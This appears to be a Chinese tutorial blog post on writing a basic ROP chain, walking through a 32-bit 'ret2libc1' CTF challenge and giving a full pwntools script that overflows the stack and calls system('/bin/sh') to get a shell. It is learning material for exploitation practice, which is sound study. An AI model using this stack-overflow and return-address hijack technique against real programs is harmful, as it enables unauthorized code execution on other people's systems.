首页 > 其他分享 >编写单个函数的ROP链

编写单个函数的ROP链

时间:2024-06-16 15:32:01浏览次数:23  
标签:bin 函数 ret2libc1 system 地址 单个 ROP 编写

什么是ROP链

在我初识栈溢出那篇博客已经详细的讲了函数的调用过程(基于X86框架),不了解的可以看一下,没有这个理论基础,是学不好ROP的。现在我们说一下什么是ROP。
ROP链就是通过返回地址的修改来完成的编程,调用特定的函数的一种编程模式。我们可以联想一下你做的最简单的栈溢出的题,返回地址覆盖system(/bin/sh)。这种也是一种ROP链,只是最简单的一种,所以说ROP也没有那么高端,说白了就是控制返回地址,控制参数。这篇我们来讲一下怎么控制参数

这是一个main函数调用system(/bin/sh)的栈分布,把func函数的返回地址覆盖为system的地址,这时候system就会作为一个新的函数进入函数内部,开辟栈帧,执行‘push edp;mov edp,esp;sub esp,0x ’。

根据我们学习函数调用的理论知识,我们可以知道,这时候对于system函数,a就是它的返回地址,b就是它的参数,所以就可以编写脚本控制b的内容来实现控制参数的传入,下面来小试牛刀
例题:https://gitee.com/tky5216/CTF/raw/master/PWN/stack/ret2libc1

查看保护,开了地址随机化,开了NX,那我们就不能用Shellcode了,IDA反编译一下,看看怎么个事

非常简单的栈溢出,但是没有发现后门函数,所以我们覆盖返回地址为system,传入变量/bin/sh
shift+F12打开string发现/bin/sh , 直接编写脚本

from pwn import *

p = process('./ret2libc1')
elf = ELF('./ret2libc1')
system_addr = elf.plt['system']
binsh_addr = 0x0804A028
p.recvuntil('ret2libc1\n')
payload = 0x108 * b'a' + p32(1) + p32(system_addr) + p32(1) + p32(binsh_addr)

p.sendline(payload)
p.interactive()

标签:bin,函数,ret2libc1,system,地址,单个,ROP,编写
From: https://www.cnblogs.com/return1/p/18250682

相关文章

  • Cropwise AI | 先正达的一款人工智能农业产品
    拜耳的数字化农业平台有FieldView,先正达有Cropwise。FieldView其实来源于孟山都收购的Climate,而Cropwise同样来源于先正达收购的Strider。大鱼吃小虾,科技创新小公司最好的归宿好像就是被大厂收编。先正达的数字农业之路至少在2020年推出Cropwise就开始了,但已经落后了拜耳好几......
  • Crop Journal 以品种为导向的基因挖掘
    近日,四川农业大学刘登才组在《TheCropJournal》发表了综述文章:Towardscultivar-orientedgenediscoveryforbettercrops,回顾了引起基因发掘与品种创新“脱节”的几个常见问题,并提出了一些建议。许多基因在论文中被描述为有利于提高产量。但很少有真正转化为田间产量的增加......
  • The Crop Journal | 部分双列杂交设计的玉米产量基因组预测
    中国农业科学院作物科学研究所联合国际玉米小麦改良中心(CIMMYT)等单位在《TheCropJournal》发表论文:Genomicpredictionofyieldperformanceamongsingle-crossmaizehybridsusingapartialdiallelcrossdesign。希望根据中国黄淮河谷(夏播区,SUS)和东北(春播区,SPS)两大玉米......
  • 使用Modbus转Profinet网关无需编写Modbus轮询程序,实现PLC和电表通信
    一、无需编写Modbus轮询程序实现PLC与电表通信的方法在工业自动化领域,PLC(可编程逻辑控制器)与电表之间的通信是非常常见的需求。传统上,为了让PLC与电表进行通信,通常需要编写Modbus轮询程序来实现数据的读取和控制。然而,近年来出现了一种新的方法,即通过使用Modbus转Profinet网关,可......
  • Tropical Plants | 改进的日本晴单倍型基因组UQ_NIP
    昆士兰大学RobertJ.Henry教授团队利用改进的单倍型水平基因组组装揭示更多的水稻基因。本研究利用更准确的测序技术,分析组装了一个改进的单倍型水平水稻基因组。该改进的基因组组装包含了早期基因组序列中缺失的区域,并且基于更高的序列准确性注释了3000多个新的基因。这个单倍......
  • 浅谈攻防武器编写之道-MacOS儒道易行单兵攻防系统
    人生最大的悲剧就是:你配不上自己的野心,也辜负了所受的苦难起因因为觉得MacOS自带的启动台不好用,但是我又很喜欢,所以自己写了一个完整效果全部功能大小细节展示正常运行命行运行注意:如果有需要使用命令行运行输入输出和回显的项目,在macOS上,你可以通过Applescrip......
  • JVM之编写高效优雅 Java 程序
    面向对象01、构造器参数太多怎么办?如果参数很多,会导致构造方法非常多,拓展性差,代码难编写,且难以看懂。用JavaBeans模式,get和set一行构造编程多行代码实现,需要使用额外机制确保一致性和线程安全。用builder模式,1、5个或者5个以上的成员变量2、参数不多,但是在未来,......
  • AI大佬吴恩达+OpenAI团队编写:面向大模型入门者的 LLM CookBook 汉化版
    粉丝们久等了!!!我又来更LLM大模型的必备读物啦!这次给大家推荐的是AI圈无人不知的吴恩达大佬+OpenAI团队一起编写的大模型入门文档,也就是这本:大型语言模型(LLM)的权威文档<面向开发者的LLM入门PDF>在Github上已经高达56.8kstar了,这含金量啧啧啧朋友们如果有需要这份《LLMC......
  • AI大佬吴恩达+OpenAI团队编写:面向大模型入门者的 LLM CookBook 汉化版
    粉丝们久等了!!!我又来更LLM大模型的必备读物啦!这次给大家推荐的是AI圈无人不知的吴恩达大佬+OpenAI团队一起编写的大模型入门文档,也就是这本:大型语言模型(LLM)的权威文档<面向开发者的LLM入门PDF>在Github上已经高达56.8kstar了,这含金量啧啧啧朋友们如果有需要这份《LLMC......
  • 请编写一个函数void fun(int tt[M][N],int pp[N]),tt指向一个M行N列的二维函数组,求出
    请编写一个函数voidfun(inttt[M][N],intpp[N]),tt指向一个M行N列的二维函数组,求出二维函数组每列中最小元素,并依次放入pp所指定一维数组中。二维数组中的数已在主函数中赋予。#include<stdio.h>#defineM3#defineN4voidfun(inttt[M][N],intpp[N]){for(int......